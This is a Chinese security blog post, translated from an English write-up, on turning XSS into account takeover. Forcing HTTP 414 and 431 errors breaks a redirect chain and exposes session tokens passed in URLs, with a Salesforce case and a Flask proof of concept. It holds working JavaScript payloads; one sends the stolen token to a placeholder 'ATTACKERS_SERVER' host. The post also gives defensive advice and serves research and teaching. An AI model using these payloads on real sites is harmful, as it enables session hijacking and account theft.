文章总结： 本文阐述了利用HTTP414和431状态码将XSS升级为账户接管的攻击技巧。通过构造超长URL或填充Cookie，诱发服务器在重定向过程中因长度限制报错，从而截获包含敏感会话令牌的URL。文章以Salesforce和Flask应用为例，展示了具体的攻击载荷与利用流程。核心结论是开发者需警惕服务器长度限制的滥用风险，建议配置WAF对超长请求进行重定向而非返回错误状态码，以阻断此类攻击链。 综合评分： 93 文章分类： WEB安全,漏洞分析,渗透测试,漏洞POC,实战经验

账户接管新思路

迪哥讲事

2025年12月28日 09:01 江苏

引言

服务器和人类一样，对单次能处理的数据量有上限。你可能对414和431状态码并不陌生：

• 414状态码——当URL超过服务器定义的限制时返回。
• 431状态码——当请求头超过服务器定义的限制时返回。

尽管这些看起来是普通错误（本质上只是请求在某个方面过大），但攻击者仍可利用这类错误升级跨站脚本（XSS）等漏洞。这项小型研究的灵感来自一个真实案例：我利用服务器的414状态码，将一处XSS漏洞升级为了账户接管（ATO）。

本文将探讨不同服务器的URL和请求头大小限制，并展示两种利用431和414状态码借力XSS的攻击场景。

服务器大小限制规则

计算URL和请求头大小需遵循以下规则：

• URL限制：从URL路径开始的所有字符均计入长度。

  示例：http://example.com/path_example 计为13个字符。

• 请求头限制：请求头名称和请求头值中的所有字符均计入长度。

  示例：Cookie: x=y;<space> 计为10个字符。

以下是主流服务器的URL和请求头默认大小限制（基于最新版本默认配置，无自定义修改；服务器管理员可调整这些值，因此不同环境可能存在差异）：

| 服务器 | Apache | NGINX | Gunicorn | IIS | NodeJS | Tomcat | | — | — | — | — | — | — | — | | URL限制 | 8177 | 8176 | 4080 | 16378 | 15824 | 7564 | | 请求头限制 | 8193 | 8188 | 8185 | 16324 | 16364 | 7560 |

表格中的数值代表URL或请求头允许的最大字符数，超过该数值服务器将返回414或431状态码。例如，NGINX的默认URL限制为8176个字符，超出则返回414状态码。

攻击场景

414状态码攻击

该攻击场景源自真实案例：我利用XSS漏洞和服务器414状态码，打破了重定向链，窃取了通过Salesforce E&E电子商务解决方案在网站间传递的会话令牌。目标系统包含两个品牌（因签署保密协议，暂称为1-brand.com和2-brand.com），且两者使用相同代码库，因此我在两个品牌的网站上均发现了XSS漏洞。

不出所料，Salesforce的会话Cookie设置了httponly属性，无法通过XSS直接窃取。经过排查，发现常规XSS升级路径均不可行：

• 无法实施Cookie罐溢出、Cookie投掷或Cookie三明治等Cookie攻击；
• 用户个人身份信息（PII）由第三方处理，仅能通过联系客服修改邮箱，且密码修改需验证步骤，未找到绕过方法。

同一公司，不同品牌的会话共享机制

但存在一项关键功能：由于两个品牌同属一家公司，用户登录一个网站后，将自动登录另一个品牌网站。该功能通过Salesforce的以下机制实现：

❝

这个方法用于创建一个 URL，该 URL 将重定向到当前网站中另一个主机名下的位置。当提交 URL 时，系统会复制所有系统 Cookie，从而使得用户、会话和购物车信息可以在不同主机之间共享。

指定的主机名必须在网站的别名设置中定义，否则在提交重定向 URL 时会抛出异常。如果指定的主机与当前主机相同，该方法将返回一个”正常”的 URL，因为不需要重定向。

❞

这种方式下，用户无需两个独立的账户，购物车可在不同品牌间共享，因此无需进行两次单独购买。非常酷的功能——而且对于升级到完整账户接管非常有用！让我们看看重定向流程是如何工作的：

img

1. 用户点击2-brand.com图标，发起GET请求 /shared_session_redirect?url=https://2-brand.com；

2. 服务器返回302重定向，并在URL中添加会话令牌；

3. 用户被重定向至带有会话令牌的2-brand.com地址；

4. 2-brand.com

   通过令牌验证用户身份，完成登录后重定向至主页，令牌随即失效。

此机制的核心问题的是：会话令牌以查询参数形式在URL中传递。若能在重定向链中间拦截该URL，即可窃取会话令牌并接管账户。

利用Salesforce URL长度工具打破重定向链

核心思路是利用服务器414状态码中断重定向链：若使URL长度超过限制，服务器将返回414状态码并停止后续流程，从而拦截含会话令牌的URL。根据Salesforce文档，其电子商务解决方案的URL限制为「2002个字符」（URI加查询参数的最大长度为2002字符，超出则返回404错误）。

所以，如果我们能让 URL 长度超过 2002 个字符，就能中断重定向链并拦截带有会话令牌的 URL。但我们如何让 URL 变长呢？答案很简单：我们控制第一个重定向中的 url 参数路径。这个参数指定用户登录后的返回 URL。

如果我们让 URL 路径刚好在 2002 字符限制以下，那么当在第二次重定向中添加 token 参数时，它将超出限制并返回 414 状态码，从而中断链路并允许我们拦截会话 token。

img

XSS攻击载荷

以下是用于打破重定向链、窃取会话令牌并发送至攻击者服务器的XSS载荷（注：选择重定向至1-brand.com而非2-brand.com，是为了避免跨域泄露问题，同域流程无需考虑跨域限制）：

<script>

const u = "https://1-brand.com/s/Sites-1-brand-Site/dw/shared_session_redirect?url=https://1-brand.com/";

const r = awaitfetch(u + "A".repeat(1912));

const t = newURLSearchParams(r.url).get("token");

console.log("session token = " + t);

fetch("http://ATTACKERS_SERVER/"+t);

</script>

431状态码攻击

若无法控制URL（无法利用414状态码），如何窃取会话令牌？

许多网站通过中间件设置Cookie（如分析Cookie或应用配置Cookie），例如www.google.com的__Secure-ENIDCookie（用于存储用户偏好）。检测此类Cookie的方法：删除现有Cookie后刷新页面，若Cookie重新出现，则说明由中间件自动设置。

利用这一特性，可通过431状态码攻击：若使Cookie请求头长度超过服务器限制，服务器将返回431状态码并中断重定向链，进而拦截含会话令牌的URL。

431攻击概念验证（PoC）

以下是一个模拟Salesforce会话共享功能的Flask应用（通过中间件设置Cookie）：

import urllib.parse
from flask import Flask, redirect, request, url_forapp = Flask(__name__)COOKIE_NAME = "UserExperience"COOKIE_VALUE = "faff3e1b-7e6b-4d3a-9c3d-2f1e4b5c6d7e"@app.before_requestdefcheck_cookie():if COOKIE_NAME notin request.cookies:        request.set_cookie_needed = Trueelse:        request.set_cookie_needed = [email protected]_requestdefset_cookie(response):ifgetattr(request, "set_cookie_needed", False):        response.set_cookie(COOKIE_NAME, COOKIE_VALUE, max_age=60*60*24*7)return [email protected]("/", methods=["GET"])defhome():return"Hello, World"@app.route("/share_redirect", methods=["GET"])defshare_redirect():    token_param = request.args.get("token")if token_param:return redirect("/")    token_value = "super_secret_session_cookie_8d98d189d19f4c3b"    query_params = {"token": token_value    }    new_query = urllib.parse.urlencode(query_params)    new_url = f"{url_for('share_redirect')}?{new_query}"return redirect(new_url)if __name__ == "__main__":    app.run(host="0.0.0.0", port=5000)

应用包含两个端点和中间件：

• /

  ：主页，返回简单文本；

• /share_redirect

  ：重定向至自身，并在URL中添加会话令牌；

• 中间件：检查UserExperienceCookie是否存在，不存在则自动设置。

使用Gunicorn运行该应用（命令：gunicorn app:app），其默认请求头限制为「8185个字符」。若使Cookie请求头超出该限制，即可中断重定向链。

关键注意事项

Chrome浏览器限制单个Cookie最大长度为「4096个字符」，因此需至少设置两个自定义Cookie+中间件自动设置的Cookie，才能使总长度超出8185字符：

• 请求头名称“Cookie”：6个字符；
• 自定义Cookie 1：x=A重复4095次; → 4099个字符；
• 自定义Cookie 2：y=B重复4027次; → 4031个字符；
• 中间件Cookie：UserExperience=faff3e1b-7e6b-4d3a-9c3d-2f1e4b5c6d7e → 51个字符；
• 总长度：4099+4031+6+51=8187个字符（超出Gunicorn限制）。

攻击代码

<script>

// 删除现有UserExperience Cookiedocument.cookie = "UserExperience=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";// 设置两个超长自定义Cookiedocument.cookie = "x="+"A".repeat(4095);document.cookie = "y="+"B".repeat(4027);// 发起请求并拦截含令牌的URLconst e = awaitfetch("http://localhost:8000/share_redirect", { credentials: "include"});const r = newURL(e.url);const t = r.searchParams.get("token");console.log("secret = " + t);// 可添加代码将令牌发送至攻击者服务器</script>

代码将执行以下操作：

• 删除 UserExperience cookie。
• 设置两个 cookie：x 长度为 4095 字符，y 长度为 4027 字符，总长度低于 8185 字符限制。
• 向 /share_redirect 端点发起请求，这将把 token 添加到我们的 URL 中。
• 因为 UserExperience cookie 是由中间件设置的，下一个请求将超过 Cookie 头大小限制并被中断。
• 最后，我们从 URL 中提取令牌，并将密钥发送到我们的服务器。

当服务器返回 431 状态码时，Cookie 罐的样子如下：

防御措施

由于攻击利用了服务器固有限制，单纯增大服务器限制并非理想方案（例如Chrome浏览器URL上限约为2MB，即200万个字符）。针对414状态码攻击案例，我向目标公司开发团队提供了以下建议：

1. 「添加WAF规则」

   ：拦截长度超过2002字符的URL，但不返回413状态码，而是返回「302重定向」至当前域名的根页面——确保重定向链不中断，会话令牌不会泄露；

2. 「严格路径白名单」

   ：对URL参数中的允许路径进行白名单管控，拦截所有未授权路径（需结合应用逻辑，非通用解决方案）。

结论

本文探讨了如何利用服务器大小限制，将XSS漏洞升级为完整的账户接管攻击，展示了414和431状态码在中断重定向链、窃取会话令牌等敏感信息中的作用。更多利用此类状态码升级XSS的技巧，可参考以下研究人员的成果：@dimasma__、@aszx87410、@i_bo0om。

企业需充分了解所使用技术的限制，以及攻击者可能的滥用方式。希望本文能为你带来新的知识，祝你度过愉快的一天！

翻译自：https://castilho.sh/scream-until-escalates

如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新，包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款

往期回顾

#

如何利用ai辅助挖漏洞

#

如何在移动端抓包-下

#

如何绕过签名校验

#

一款bp神器

挖掘有回显ssrf的隐藏payload

ssrf绕过新思路

一个辅助测试ssrf的工具

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：迪哥讲事 《账户接管新思路》